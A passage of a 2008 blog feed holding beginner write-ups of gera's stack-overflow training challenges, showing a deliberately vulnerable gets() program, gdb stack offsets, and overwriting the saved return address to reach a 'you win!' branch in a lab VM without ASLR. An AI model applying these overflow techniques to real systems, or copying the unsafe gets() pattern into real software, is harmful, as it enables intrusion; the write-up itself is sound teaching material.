placeholder value from where to retrieve local variables and function parameters. To summarize, this is what a x86 assembly stack frame setup would look like:&lt;br /&gt;&lt;br /&gt;Random program calls function X():&lt;br /&gt;&lt;div style="text-align: center;"&gt;...&lt;br /&gt;...&lt;br /&gt;&lt;div style="text-align: left;"&gt;call to function X ----------------------&gt;        call X&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;this is where execution will return&lt;br /&gt;after X() does his job -----------------&gt;             ...&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;and after the call we land in X:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;first, save current EBP --------------&gt;   push ebp&lt;br /&gt;then, update EBP ---------------------&gt; mov esp, ebp&lt;br /&gt;&lt;div style="text-align: center;"&gt;...&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;This figures might change depending on architecture and syntax, but I think the general idea should be clear for now :-). Now moving on, the saved &lt;span style="color: rgb(153, 0, 0);"&gt;ebp&lt;/span&gt; and &lt;span style="color: rgb(153, 0, 0);"&gt;ret &lt;/span&gt;values (the saved &lt;span style="color: rgb(153, 0, 0);"&gt;eip&lt;/span&gt; value, called &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; from now on) are stored on the stack AFTER our buffer. At this point the path seems a little more obvious, why not overrun the stack and change our &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; value so instead of returning to the callee (the program that called it), return to the "you win!" path inside the if statement?&lt;br /&gt;&lt;br /&gt;First we need to figure out how much we need to overwrite to get to the &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; value. If we recall from the previous levels, at the time we used 92bytes plus the value we wanted the cookie to have. If we take a look at the stack layout from the previous sessions and the theory we just reviewed, the &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; value should be right after the saved &lt;span style="color: rgb(153, 0, 0);"&gt;ebp&lt;/span&gt; that we have already identified:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_1wAbY6ULKR4/SGIpTvR5YLI/AAAAAAAAACI/qAz3uC2irVw/s1600-h/gdb.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_1wAbY6ULKR4/SGIpTvR5YLI/AAAAAAAAACI/qAz3uC2irVw/s400/gdb.jpg" alt="" id="BLOGGER_PHOTO_ID_5215776737534238898" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;With a little math we can see the &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; value (shown in green), is 16 bytes ahead of the cookie, so; 92 + cookie(4bytes) + 16 = 112bytes. Let's try that much and see what happens:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_1wAbY6ULKR4/SGIqHRwWmpI/AAAAAAAAACQ/vGOc0BWsBGk/s1600-h/retsmash.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_1wAbY6ULKR4/SGIqHRwWmpI/AAAAAAAAACQ/vGOc0BWsBGk/s400/retsmash.jpg" alt="" id="BLOGGER_PHOTO_ID_5215777622962117266" border="0" /&gt;&lt;/a&gt;As you can see from the Core Dump (use "$ulimit -c unlimited" if you're not getting dumps) we smashed the return value with &lt;span style="color: rgb(153, 0, 0);"&gt;0x41414141&lt;/span&gt; which is the hex value of the A character's we used. Therefore, all we need now is to write 108+the &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; value we want in the buffer. If we read the disassemble we can use the value of the path is taken had the if comparison be true, &lt;span style="color: rgb(153, 0, 0);"&gt;0x08048438&lt;/span&gt;. I want to stress at this point that hardcoding this kind of addresses is just possible because we are using a unpatched version of linux without ASLR and other protection measures. Keeping in my the endianness and using a similar command line setup of the previous sessions, we can bypass the cookie comparison again:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_1wAbY6ULKR4/SGIrX92WA8I/AAAAAAAAACY/6n9YNotMiAI/s1600-h/success.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_1wAbY6ULKR4/SGIrX92WA8I/AAAAAAAAACY/6n9YNotMiAI/s400/success.jpg" alt="" id="BLOGGER_PHOTO_ID_5215779009187939266" border="0" /&gt;&lt;/a&gt;A smart reader might have noticed that althought we get the win and loose messages confirming our success, we get a segmentation fault each time. This happens because althought our &lt;span style="color: rgb(153, 0, 0);"&gt;ret&lt;/span&gt; overwriting succeeded, we also smashed the &lt;span style="color: rgb(153, 0, 0);"&gt;ebp&lt;/span&gt; value which gets pop'd when the functions ends. This corrupted value is needed by the callee and other functions and these fail if the value doesn't have a proper meaning, which after filling with A's doesn't. I tried to find a workaround and tested several values from values in various execution situations but a the pushes and pops of the values from the printf parameters seems to screw up my calculations.&lt;br /&gt;&lt;br /&gt;Hope anybody got a more elegant solution than mine and posts it as a comment or anywhere else, but for the purpose I think this is enough. This article finishes the &lt;span style="font-style: italic;"&gt;WARMING UP on STACK&lt;/span&gt; section, in the future I will try to continue with the rest of the sections but I don't promise anything at this point :-) Thanks for reading if you got up to this point!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7445701319591354935-3464918732358980310?l=morenops.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://morenops.blogspot.com/feeds/3464918732358980310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7445701319591354935&amp;postID=3464918732358980310' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/3464918732358980310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/3464918732358980310'/><link rel='alternate' type='text/html' href='http://morenops.blogspot.com/2008/06/warming-up-on-stack-part-ii.html' title='WARMING UP on STACK - Part II'/><author><name>infi</name><uri>http://www.blogger.com/profile/00547855212089123529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_1wAbY6ULKR4/SGIpTvR5YLI/AAAAAAAAACI/qAz3uC2irVw/s72-c/gdb.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7445701319591354935.post-6507614154429294040</id><published>2008-06-24T01:08:00.015+02:00</published><updated>2008-06-24T02:05:44.829+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='gera'/><category scheme='http://www.blogger.com/atom/ns#' term='challenges'/><title type='text'>WARMING UP on STACK - Part I</title><content type='html'>In our &lt;a href="http://morenops.blogspot.com/2008/05/0x00-genesis.html"&gt;last post&lt;/a&gt; we talked about a &lt;a href="http://community.corest.com/%7Egera/InsecureProgramming/"&gt;challenge&lt;/a&gt; set up by gera from Core Security. Since these challenges make up a good training ground for further real world exploit situations I decided to give a shot at them now that my schedule got a little softer.&lt;br /&gt;&lt;br /&gt;We will start from the ground up and cover levels #1 to #3 from the "Warming up on Stack" section which, as the name implies, are just a warmup. To get the job done, we needed a linux distribution that doesn't include any security filters such as ASLR or Non-executable stack or the PaX patch; in my case, I chose to use SUSE 9.3 inside a virtual machine. Completenting our toolset we will use the usual set; gdb, python and a terminal (Hello, Konsole :-).&lt;br /&gt;&lt;br /&gt;First, let's take a look at the challenges source code:&lt;br /&gt;&lt;pre&gt;int main() {&lt;br /&gt;int cookie;&lt;br /&gt;char buf[80];&lt;br /&gt;&lt;br /&gt;printf("buf: %08x cookie: %08x\n", &amp;amp;buf, &amp;amp;cookie);&lt;br /&gt;gets(buf);&lt;br /&gt;&lt;br /&gt;if (cookie == 0x41424344)&lt;br /&gt; printf("you win!\n");&lt;br /&gt;}&lt;span&gt;&lt;span style="color: rgb(16, 128, 16);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;Nothing strange in here, a simple C program that uses libc's very own gets() function to receive some input from stdin. If we take a look at the disassembled code we notice that all it takes to get into the &lt;span style="font-style: italic;"&gt;good-boy&lt;/span&gt; is to succeed in the hardcoded comparison against the &lt;span style="color: rgb(153, 0, 0); font-weight: bold;"&gt;0x41424344&lt;/span&gt; cookie, no news after the C source. So let's setup a breakpoint at the comparison and take a look at the stack layout.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_1wAbY6ULKR4/SGAyMBGAeYI/AAAAAAAAABw/ibsq86rpdw4/s1600-h/cmp.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 341px; height: 123px;" src="http://bp2.blogger.com/_1wAbY6ULKR4/SGAyMBGAeYI/AAAAAAAAABw/ibsq86rpdw4/s400/cmp.jpg" alt="" id="BLOGGER_PHOTO_ID_5215223550528485762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Once we hit the breakpoint we analyze the stack:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_1wAbY6ULKR4/SGAypf7eVqI/AAAAAAAAAB4/J-BB1Q9EbIM/s1600-h/gdb.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_1wAbY6ULKR4/SGAypf7eVqI/AAAAAAAAAB4/J-BB1Q9EbIM/s400/gdb.jpg" alt="" id="BLOGGER_PHOTO_ID_5215224057022011042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This is where the fun begins. You can see where our garbage A's begin and where our &lt;span style="color: rgb(153, 0, 0); font-weight: bold;"&gt;cookie&lt;/span&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;and &lt;span style="color: rgb(153, 0, 0); font-weight: bold;"&gt;ebp&lt;/span&gt; are so, all that's left is a little hex math. &lt;span style="color: rgb(153, 0, 0); font-weight: bold;"&gt;ebp&lt;/span&gt; is at &lt;span style="color: rgb(153, 0, 0); font-weight: bold;"&gt;0xbffff118&lt;/span&gt;, the cookie at &lt;span style="color: rgb(153, 0, 0); font-weight: bold;"&gt;0xbffff10c &lt;/span&gt;and our buffer starts at &lt;span style="color: rgb(153, 0, 0); font-weight: bold;"&gt;0xbffff0b0&lt;/span&gt;, thats &lt;span style="font-weight: bold;"&gt;92&lt;/span&gt; bytes from our buffer till the cookie(which at the same time is 12 bytes minus ebp, as the cmp instruction shows). Therefore we have all we need, the offset and the value of the cookie. All that's left to do is just injecting those values in our buffer, and that's were python comes to play. We can build our string with python and then pipe the result to our program like this:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_1wAbY6ULKR4/SGA1YaVpLXI/AAAAAAAAACA/qk4R88xqCO4/s1600-h/lehen+3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_1wAbY6ULKR4/SGA1YaVpLXI/AAAAAAAAACA/qk4R88xqCO4/s400/lehen+3.jpg" alt="" id="BLOGGER_PHOTO_ID_5215227061998267762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The first three levels covered in this post are just little variants of each other where the only difference is the value of the cookie. This is no match for python which handles hex values just as fine, congratulating us with a gentle &lt;span style="font-style: italic;"&gt;"you win!"&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Now this is it for today, The 4th and 5th levels are a bit different because they deal with carriage return and new line values in the cookie (0x0d and 0x0a, respectively) and thus, require a different approach. I hope you enjoyed this as much as I did solving them. Keep adding NOPs! :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7445701319591354935-6507614154429294040?l=morenops.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://morenops.blogspot.com/feeds/6507614154429294040/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7445701319591354935&amp;postID=6507614154429294040' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/6507614154429294040'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/6507614154429294040'/><link rel='alternate' type='text/html' href='http://morenops.blogspot.com/2008/06/warming-up-on-stack-1-of-2.html' title='WARMING UP on STACK - Part I'/><author><name>infi</name><uri>http://www.blogger.com/profile/00547855212089123529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_1wAbY6ULKR4/SGAyMBGAeYI/AAAAAAAAABw/ibsq86rpdw4/s72-c/cmp.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7445701319591354935.post-1412363756680566961</id><published>2008-05-25T16:34:00.002+02:00</published><updated>2008-05-25T18:48:50.373+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='exploit development'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability research'/><category scheme='http://www.blogger.com/atom/ns#' term='genesis'/><category scheme='http://www.blogger.com/atom/ns#' term='books'/><category scheme='http://www.blogger.com/atom/ns#' term='challenges'/><title type='text'>0x00: Genesis</title><content type='html'>There's a gap between people who enjoy computers and people who adore computers. A gap between people who use them and people who are fanatic of them. Accidentally or not I happened to fall in the last group. I just can't deny it, I belong to this. I belong to this and even thought I can't understand how or why this started, I know I got here. Some say curiosity got us here; I don't know, sounds sensible.&lt;br /&gt;&lt;br /&gt;Anyhow, matter of the fact is we need to keep exploring, digging, wandering and meandering around to feed our thirst. Some people called this new breed of explorers &lt;span style="font-style: italic;"&gt;hackers&lt;/span&gt;, what a curious word this is...Enemy of some, idols of many. So many definitions of this term make me avoid it's usage. Sharing is perhaps one of the defining factors of today's internet, as such, I'll make this little site my new home. People that already know me know that I'm not a big fan of nowadays so called "web 2.0" explosion, content is good as long as it's quality is great; putting shit in large piles won't change its filthy origin.&lt;br /&gt;&lt;br /&gt;    I'm a terrible person regarding my archiving capabilities, I get bored enough of things once I understand them that I don't bother to save them for future ocasions. Perhaps publishing all my ramblings in this format might make them last a little longer. The purpose of this blog is dual: In one hand it'll help to feel the void in my archive. In the other hand, since I'm quite a beginner in the areas this site will hopefully follow in the future, might be useful for anybody else coming along. Of course, any comments are welcome as long as they're well intended.&lt;br /&gt;&lt;br /&gt;Whatever the reason that brought us here is, I'll kick off this Genesis with a couple of what I feel are *MUST* for vulnerability research and exploit development. Among these references I include a couple of books that enlightened my way and some &lt;span style="font-style: italic;"&gt;exploitme-like&lt;/span&gt; challenges to get your kicks.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    Books:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The Art of Exploitation by Jon Erickson.&lt;/li&gt;&lt;li&gt;Shellcoder's Handbook by Chris Anley, John Heasman, Felix Linder and Gerardo Richarte.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;    Links:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.securityfocus.com/"&gt;Securityfocus&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://packetstormsecurity.org/"&gt;PacketStormSecurity&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.milw0rm.com/"&gt;milw0rm&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.darknet.org.uk/"&gt;&lt;span style="text-decoration: underline;"&gt;Darknet&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://sf-freedom.blogspot.com/"&gt;Software Vulnerability Exploitation Blog by Trirat Puttaraksa&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;    Challenges:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;gera's Insecure Programming page. &lt;a href="http://community.core-sdi.com/%7Egera/InsecureProgramming/"&gt;LINK&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;That's it for today, keep feeding yourselves with more NOPs!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7445701319591354935-1412363756680566961?l=morenops.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://morenops.blogspot.com/feeds/1412363756680566961/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7445701319591354935&amp;postID=1412363756680566961' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/1412363756680566961'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7445701319591354935/posts/default/1412363756680566961'/><link rel='alternate' type='text/html' href='http://morenops.blogspot.com/2008/05/0x00-genesis.html' title='0x00: Genesis'/><author><name>infi</name><uri>http://www.blogger.com/profile/00547855212089123529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry></feed>
